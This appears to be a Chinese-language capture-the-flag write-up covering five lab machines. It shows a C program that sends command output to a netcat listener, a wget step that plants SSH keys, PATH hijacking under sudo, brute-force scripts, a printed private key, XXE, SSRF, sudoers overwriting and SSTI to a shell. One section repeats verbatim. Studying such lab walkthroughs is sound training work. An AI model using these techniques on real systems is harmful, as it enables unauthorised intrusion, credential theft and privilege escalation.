Sysadmin

访问过去是个上传的页面,能够编译运行C语言源文件,查看网页源码注释里给出了编译用的命令

img

从命令中看出禁止了从外部链接库,所以要用system函数得自己定义一下。简单尝试后发现很多常用命令没有,但是有busybox用。先搞到当前用户名

1
2
3
4
5
int system(const char *command);
int main() {
system("echo $(whoami) | busybox nc 192.168.56.1 23333");
return 0;
}
img

然后写公钥进去,在本地起个服务wget进去

1
2
3
4
5
int system(const char *command);
int main() {
system("mkdir -p ~/.ssh && touch ~/.ssh/authorized_keys && busybox wget 192.168.56.1:8000/id_rsa.pub -O ~/.ssh/authorized_keys");
return 0;
}

然后直接ssh连上,拿到普通用户的flag

img

sudo -l发现有脚本被配以了sudo权限

img

劫持free命令提权成功读到root的flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
echo@Sysadmin:~$ echo 'ls /root' > /tmp/free
echo@Sysadmin:~$ chmod +x /tmp/free
echo@Sysadmin:~$ export PATH="/tmp:$PATH"
echo@Sysadmin:~$ sudo /usr/local/bin/system-info.sh
Starting daily system information collection at Fri 31 Oct 2025 04:57:54 AM EDT
------------------------------------------------------

(这里省略)

root.txt
------------------------------------------------------
Report complete at Fri 31 Oct 2025 04:57:54 AM EDT
echo@Sysadmin:~$ echo 'cat /root/root.txt'>/tmp/free
echo@Sysadmin:~$ sudo /usr/local/bin/system-info.sh
Starting daily system information collection at Fri 31 Oct 2025 04:58:25 AM EDT
------------------------------------------------------

(这里省略)

flag{root-8b8a8b353298f798e3eb8628661617b6}
------------------------------------------------------
Report complete at Fri 31 Oct 2025 04:58:25 AM EDT

Fuzzz

fscan扫一遍

img

开了个5555端口,这个是adb调试的端口,用adb连上

img

看下端口开放情况,开了个80端口

img

传个socat上去,把80端口转发到8080端口

img

爆目录,可以爆出一些名为line的目录

img

curl一下总共有六个这样的目录

img

经过简单测试发现,接下来是要写一个python脚本去爆破出每个line后面正确的目录,每个目录都是一个base64的形式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
import string
from collections import deque

BASE64_CHARS = string.ascii_letters + string.digits + "+/="

def is_valid_response(response):
return response.status_code == 200

def brute_force_base64_path(base_url):
queue = deque([""])
while queue:
current = queue.popleft()
for char in BASE64_CHARS:
candidate = current + char
url = base_url + candidate
try:
response = requests.get(url, timeout=5)
except requests.RequestException:
continue
if is_valid_response(response):
print(candidate)
queue.append(candidate)

if __name__ == "__main__":
BASE_URL = "http://172.20.10.13:8080"
urls = ["/line/", "/line1/", "/line2/", "/line3/", "/line4/", "/line5/"]
for path in urls:
full_url = BASE_URL + path
brute_force_base64_path(full_url)
img

line和line1是一样的,五行拼起来得到的是一个私钥文件,加上头尾

1
2
3
4
5
6
7
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACArnEFFrjDI6rYt5GmUDxMvSeX3pcn0GGBfgo1EQtXpgwAAAJDS3+5f0t/u
XwAAAAtzc2gtZWQyNTUxOQAAACArnEFFrjDI6rYt5GmUDxMvSeX3pcn0GGBfgo1EQtXpgw
AAAEBCjeRitoZJIm1c4i0VD2Muw5nqgb7zC13vMaxS/la+vSucQUWuMMjqti3kaZQPEy9J
5felyfQYYF+CjURC1emDAAAACWFzYWhpQHBoaQECAwQ=
-----END OPENSSH PRIVATE KEY-----

ssh连上拿到user的flag

img

尝试sudo提权,有个lrz可以用

img

靶机先切到/etc下,然后用lrz起个监听,我们从自己的机器上用sz传个能让我们直接提权的sudoers过去把它原来的覆盖掉,然后提权即可拿到flag

img
img
img

Yuan112

先扫一波端口,只开了80和22

img

看到title是XML Parser,盲猜是XXE,试一波任意文件读取直接就读到了

img

注意到有个用户叫tuf,后面跟着他的密码但是缺了两位,生成一下字典

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import string
import itertools

# 原始字符串模板,用 {} 表示缺失的部分
template = "KQNPHFqG{}JHcYJossIe"

# 定义字符集:包含数字、大小写字母 (共 62 种可能)
# 如果你确定只有数字,可以改为 char_set = string.digits
char_set = string.ascii_letters + string.digits

def generate_dict(output_file="password_dict.txt"):
count = 0
with open(output_file, "w") as f:
# 生成长度为 2 的所有排列组合 (62^2 = 3844 种)
for guess in itertools.product(char_set, repeat=2):
# 将元组组合成字符串并填入模板
filled_str = template.format("".join(guess))
f.write(filled_str + "\n")
count += 1

print(f"字典生成完毕!共计 {count} 条结果。")
print(f"已保存至: {output_file}")

if __name__ == "__main__":
generate_dict()

hydra爆破

img
img

发现可以sudo提权

img

可以通过这个脚本进行任意文件写,那么只需要将这个脚本本身给覆盖掉就行了

具体方法是在/tmp下创建一个文件pwn,路径为/tmp/https:/maze-sec.com/tools/pwn,写入恶意脚本。然后执行/opt/112.sh将它自己覆盖掉,使其内容变为https://maze-sec.com/tools/pwn is a not good url. 切到/tmp路径下,再执行/opt/112.sh,它就会在当前路径下找到https:/maze-sec.com/tools/pwn这个脚本并执行,从而执行了恶意代码,再运行恶意代码创建的/tmp/rootbash即可得到root的shell

img

看到title是XML Parser,盲猜是XXE,试一波任意文件读取直接就读到了

img

注意到有个用户叫tuf,后面跟着他的密码但是缺了两位,生成一下字典

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import string
import itertools

# 原始字符串模板,用 {} 表示缺失的部分
template = "KQNPHFqG{}JHcYJossIe"

# 定义字符集:包含数字、大小写字母 (共 62 种可能)
# 如果你确定只有数字,可以改为 char_set = string.digits
char_set = string.ascii_letters + string.digits

def generate_dict(output_file="password_dict.txt"):
count = 0
with open(output_file, "w") as f:
# 生成长度为 2 的所有排列组合 (62^2 = 3844 种)
for guess in itertools.product(char_set, repeat=2):
# 将元组组合成字符串并填入模板
filled_str = template.format("".join(guess))
f.write(filled_str + "\n")
count += 1

print(f"字典生成完毕!共计 {count} 条结果。")
print(f"已保存至: {output_file}")

if __name__ == "__main__":
generate_dict()

hydra爆破

img
img

发现可以sudo提权

img

可以通过这个脚本进行任意文件写,那么只需要将这个脚本本身给覆盖掉就行了

具体方法是在/tmp下创建一个文件pwn,路径为/tmp/https:/maze-sec.com/tools/pwn,写入恶意脚本。然后执行/opt/112.sh将它自己覆盖掉,使其内容变为https://maze-sec.com/tools/pwn is a not good url. 切到/tmp路径下,再执行/opt/112.sh,它就会在当前路径下找到https:/maze-sec.com/tools/pwn这个脚本并执行,从而执行了恶意代码,再运行恶意代码创建的/tmp/rootbash即可得到root的shell

img

jan

先扫,开了个8080端口

img

再扫,有个robots.txt

img

访问过去找到两个路径

img

访问过去都是要求内部访问,/redirect有个url参数的要求,盲猜SSRF

最终通过传两次url参数绕过

img

得到了低权限用户的ssh账密连上拿到flag

img

简单测试发现可以sudo提权,且sshd_config可以任意读写

img

先写一个authorized_keys在tmp底下

img

修改sshd_config的配置

img

此时尝试连接会有报错,根据报错修改ssh_config

img

重启sshd服务,连接上即是root,找到flag

img

Twelve

先扫,有个1212端口

img

指纹识别到flask,盲猜SSTI

img

fenjing直接一把梭了,弹个shell

img
img
img